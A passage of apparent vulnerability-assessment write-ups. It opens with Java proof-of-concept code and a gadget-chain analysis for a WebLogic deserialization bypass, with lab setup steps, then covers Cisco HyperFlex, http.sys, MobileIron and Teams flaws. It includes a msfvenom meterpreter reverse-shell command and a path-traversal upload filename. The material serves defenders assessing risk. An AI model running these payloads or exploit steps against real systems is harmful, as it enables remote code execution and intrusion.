            context.rebind("Timeline Sec"+System.nanoTime(), attributeHolder);
        } catch (Exception e) {
            if (e.getMessage().equals("Unhandled exception in rebind()")){
                System.out.println("[*] 发包成功 请自行检查是否利用成功");
            }else {
                e.printStackTrace();
            }
        }
    }


    public static class TLSAttributeAccessor extends AttributeAccessor {

        public Object getAttributeValueFromObject(Object o) throws DescriptorException {
            return this.attributeName;
        }

        public void setAttributeValueInObject(Object o, Object o1) throws DescriptorException {
            this.attributeName = "Timeline Sec";
        }
    }

    public static void readObject() {
        FileInputStream fis = null;
        try {
            fis = new FileInputStream(new File("").getAbsolutePath() + "/test.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
            ois.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

You’ll notice the two above PoCs are almost identical up until 14825 calls: LockVersionExtractor extractor = new LockVersionExtractor(accessor,""); which was blacklisted. Researchers were forced to find other means to execute code (note the game of cat and mouse/ blacklist and find another vulnerable class, played by Oracle and security researchers).

Enter FilterExtractor which resides in oracle.eclipselink.coherence.integrated.internal.querying and has the following method: readExternal

If we follow the readAttributeAccessor method we see that when the parameter id = 1, a MethodAttributeAccessor object is returned. You may be thinking – but MethodAttributeAccessor was just added to the blacklist in the October 2020 Critical Patch Update and couldn’t be used to maliciously execute code. You’re correct but when the MethodAttributeAccessor object is returned by readAttributeAccessor, it doesn’t go through the deserialization process, avoids being caught by the blacklist and thus can still be used in exploitation.

So MethodAttributeAccessor can still be used and gets assigned to this.attributeAccessor once returned from readAttributeAccessor. There’s no way found to bypass the blacklisting of LockVersionExtractor#Extract in which the initializeAttributes and getAttributeValueFromObject methods of the accessor are called. However none was needed as FilterExtractor#extract, shown below, effectively provides the same functionality:

Calling FilterExtractor#extract will in turn invoke MethodAttributeAccessor#getAttributeValueFromObject. This method gets reflected by the implementation of the getMethod that gets passed anObject and parameters. Note anObject is attacker controlled while parameters will always be null which means only the no-argument method will be able to be called.

If you’re familiar with previous WebLogic serialization exploits you’ll know JdbcRowSetImpl is a perfect candidate for an Object that will fit this use case while being able to be instantiated with a no-argument constructor.

Now all that needs to be done is to find a place to call FilterExtractor#readExternal first and then FilterExtractor#extract. This is where we can utilize ideas from CVE-2020-14756 in order to accomplish this.

Start off by using: 
com.tangosol.util.aggregator.TopNAggregator$PartialResult#readExternal
The readExternal method does three things for us:

1. It uses ExternalizableHelper#readObject to deserialize the comparator assignment to m_comparator.
   
2. Then creates a map with m_comparator via PartialResult#instantiateInternalMap
   
3. Then calls PartialResult#add to add the method to add the data to the map


   

If we follow the ExternalizableHelper#readObject, knowing that DataInput is not an instance of PInputStream, we know readObjectInternal gets called.

If the object implements the ExternalizableLite interface, the readExternalizableLite method will be called


Once called, it instantiates the object in the form of class loading and then calls the readExternal of the obtained object as seen above.

If we look at PartialResult#instantiateInternalMap we see users m_comparator to instantiate a TreeMap:

Now by following PartialResult#add we see super.add is called:

Which in this context is com.tangosol.util.SortedBag#add. This method gets the TreeMap that has just been instantiated and calls the put method to insert the data into the map:

TreeMap#put gets called in the above which class this.comparator#compare and finally AbstractExtractor#compare which calls the this.comparator#extract method:

And finally we see above that in the process of returning the SafeComparator, this.comparator#extract is called on the attacker-controlled object, and boom goes the dynamite.

Running the PoC

1. Environment Setup

As noted by the PoC PR, you need to ensure you test with a JDK lower than: 6u211, 7u201, 8u191 or 11.0.1 as LDAP restrictions have been put in place in the aforementioned JDKs to prevent exploitation. I found this tool from the QAX-A-TEAM’s github repository helpful for building the test environment. The tool allows you to build a specific version of weblogic with a specific JDK in a single command.

• With Oracle credentials, download Oracle WebLogic Server 12.2.1.3 – Generic
  
• Unzip the file downloaded and place fmw_12.2.1.3.0_wls.jar inside WeblogicEnvironment/weblogics
  
• Again with Oracle credentials download jdk-8u121-linux-x64.tar.gz
  
• Place the zipped file downloaded in WeblogicEnvironments/jdks
  
• Build the image:
  

  
  docker build --no-cache --progress=plain --build-arg JDK_PKG=jdk-8u121-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=fmw_12.2.1.3.0_wls.jar -t weblogic_12 .
  

  
  
• Run the container:
  

  
  docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic_12 weblogic_12
  

  
  

2. Enable local exploitation

The following article describes the network issues faced when attempting to run the PoC in a virtualized 10.3.6.0 environment:

8.5. Summary of the problem
When requesting NameService from Weblogic through the IIOP protocol, Weblogic directly uses the local ip address as the bind address to construct the address information reply, the client resolves the address information, and directly accesses the address when bind, but the bind fails due to the inability to access the real intranet address .

The PoC is written for 12.2.1.3.0 so rewriting the processing logic is slightly different though the principle is the same. WebLogic’s package structure in 12.x is much different than in 10.x. The tutorial above instructs to hard code the attacking IP in wlfullclient.jar!\weblogic\iiop\IOPProfile.class, although you may notice that class/ parent jar is non-existent in 12.2.1.3.0.

If you run the PoC without making any changes to WebLogic you should see the following stack trace:

From which we deduce the issue likely resides in: weblogic.iiop.IORManager.locateNameService(IORManager.java:119) based on the problem summary above.
I found Recaf useful for editing the compiled java code above. Either download and compile from source or download one of the releases. Note it mentions if you run Recaf with java 8 there are a number of prerequisites that must be satisfied in order for it to run smoothly. To avoid this warning you can download the latest java 11 and run with it:

• Copy the jar that IORManager.class resides in from the container to the host: docker cp weblogic_12:/u01/app/oracle/middleware/wlserver/modules/com.oracle.weblogic.iiop.jar ./
  
• Start recaf with java 11:
  

  
  /home/msfuser/jdk-11.0.13/bin/java -jar recaf-2.21.3-J8-jar-with-dependencies.jar

  
  
• Locate and open IORManager.class in classes/weblogic/iiop/IORManager.class and open it by double clicking:
  
  The highlighted line above is where weblogic gets the incorrect host address due to containerization and is the line that will need to be edited.
  
• Right click method name createInitialReference and select Edit with assembler. Scroll down to where the parameters that are passed to IORManger.create start getting pushed onto the stack
  
  
• Make the following changes in order to hardcode the IP address of the attacking machine:
  
  
• Copy the edited jar back to the container: docker cp com.oracle.weblogic.iiop.jar weblogic_12:/u01/app/oracle/middleware/wlserver/modules/com.oracle.weblogic.iiop.jar
  

3. Setup LDAP server

For the LDAP server used for JNDI injection, the following github repository is quite useful. Build from source or download the release. Run the following command to start the server. Note the JDK 1.8 LDAP URL, as it needs to be passed to the exploit.

4. Run the PoC

Download the PoC and run the following command:

Note we no longer get the stack trace, instead non-English characters that Google translate’s to:

“The package is successfully issued, please check whether the use is successful”

Check the container’s tmp folder:

Note that the payload was successfully delivered.

References

Vuln Analysis
https://mp.weixin.qq.com/s/onoMpyenDkMmsoGEw8VO2A
https://mp.weixin.qq.com/s/onoMpyenDkMmsoGEw8VO2A
https://mp.weixin.qq.com/s/AxJJxbkclr4ijXX8lpNAfw
https://github.com/rufherg/WebLogic_Basic_Poc/blob/master/poc/CVE_2020_14645.java
https://github.com/rufherg/WebLogic_Basic_Poc/blob/master/poc/CVE_2020_14825.java
https://github.com/Y4er/CVE-2020-14756/blob/main/CVE_2020_14756.java
https://github.com/lz2y/CVE-2021-2394/blob/main/CVE_2021_2394.java

PoC Testing
https://l3yx.github.io/2020/04/22/Weblogic-IIOP-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://xz.aliyun.com/t/7498
https://www.cnblogs.com/ph4nt0mer/archive/2019/10/31/11772709.html

CVE-2021-1499 is an unauthenticated file upload vulnerability in the Cisco HyperFlex HX Data Platform.

The vulnerability can be used to obtain RCE as the Tomcat user. Requests sent to the endpoint /upload do not require authentication by default, this allows us to upload a payload. Files sent to the upload endpoint are saved on disk in /var/www/localhost/images and are accessible via the endpoint/images, which hosts the file. We can’t execute payloads from /images as it maps to an nginx file server. Luckily the /upload endpoint lacks the necessary input sanitization to prevent us from writing anywhere the Tomcat User has write access. 

To obtain RCE first generate a .war payload: ./msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.123.1 LPORT=4444 -f war > crossdomain.xml.war

Set the file name to ../../../lib/tomcat7/webapps/crossdomain.xml.war when uploading and payload will end up in the tomcat web apps directory. Tomcat is set to hot deploy so it will deploy the malicious payload. We can tell hot deployment is on from line 76 & 77 of /etc/tomcat7/server.xml:

 76       <Host name="localhost"  appBase="webapps" deployOnStartup="true"
 77             autoDeploy="true" deployXML="true">

We name the file crossdomain.xml.war so when it gets uploaded and deployed the payload can then be accessed via /crossdomain.xml/<malicious_jspfile.jsp>.  

 location /crossdomain.xml
  {
    auth_basic off;
    proxy_pass http://localhost:8000;
    allow all; # Allow all to see content
  }

The above rule in the nginx configuration file, /etc/nginx/conf.d/springpath.conf allows requests to be sent to /crossdomain.xml without authentication and they get reverse proxied to the Tomcat server. The reverse proxy to Tomcat allows malicious .jsp files to be executed instead served like on the nginx endpoint /images .

A crash proof-of-concept (PoC) has been released for CVE-2021-31166. Rapid7 researchers have confirmed its veracity. The vulnerability exists in the Windows http.sys driver, which is used to serve web requests. Windows Server 2004 and Windows Server 20H2, as well as Windows 10 20H2, are affected, as Windows 10 can be configured as a web server.

The PoC has been tested against a Windows 10 20H2 target. Verification of the PoC can replicated by following these steps:

• Download the most recent version of Windows 10 here
  
• Enable Internet Information Services in Windows Features
  
• Ensure your version of Python has the requests package by running pip install requests or pip3 install requests
  
• Run the PoC as described in the README: python cve-2021-31166.py --target=<IP_ADDRESS>
  

CVE-2021-31166 is a memory corruption vulnerability. Memory corruption vulnerabilities may lack reliability when exploited at scale. Out of 2020’s 50 most notable active and impending threats, only one memory corruption vulnerability, SMBGhost, was exploited at scale, and even that distinction was pretty dubious. The SMBGhost exploit was preferred by threat actors for only a couple months before being deprioritized in favor of Mimikatz and EternalBlue. It can only be speculated why that happened, though many would conclude that it was due to the reliability of the particular exploit. More info on SMBGhost threat actor analysis can be found here.

MobileIron CVE-2020-15505 is an ongoing threat, and government agencies in the U.S. and the UK have confirmed the vulnerability is being targeted by APTs groups.

Rapid7 research conducted by @wvu-r7 has confirmed that this CVE is the RCE mentioned in the blog post by Orange Tsai.

Users are encouraged to update as fast as possible.

Also see CVE-2020-15506 a MobileIron authentication bypass

Reasoning for low attacker value:
The web app is always up to date. The desktop client updates itself automatically. Teams checks for updates every few hours behind the scenes, downloads it, and then waits for the computer to be idle before silently installing the update, more info here

There is no supported way to prevent updates, more info here

The vulnerability itself is pretty bad, provided the attacker has local access to teams they can trigger RCE by a novel XSS injection in teams.microsoft.com that requires zero user interaction. However because Microsoft has made it quite difficult for users to stay on a vulnerable version, this makes it quite difficult for an attacker to get value out of the vulnerability. More info here

It also should be noted that the RCE gets triggered by the XSS injection that has to be sent through teams.microsoft.com – it is possible, though untested, that Microsoft has already patched this server side – not allowing the known XSS trigger to be pasted through to affected clients

It’s recommended you double check Microsoft Teams is up to date and auto updates are working as expected.

The exploit is readily available and quite easy to execute, I would advise prioritising the patching this of vulnerability asap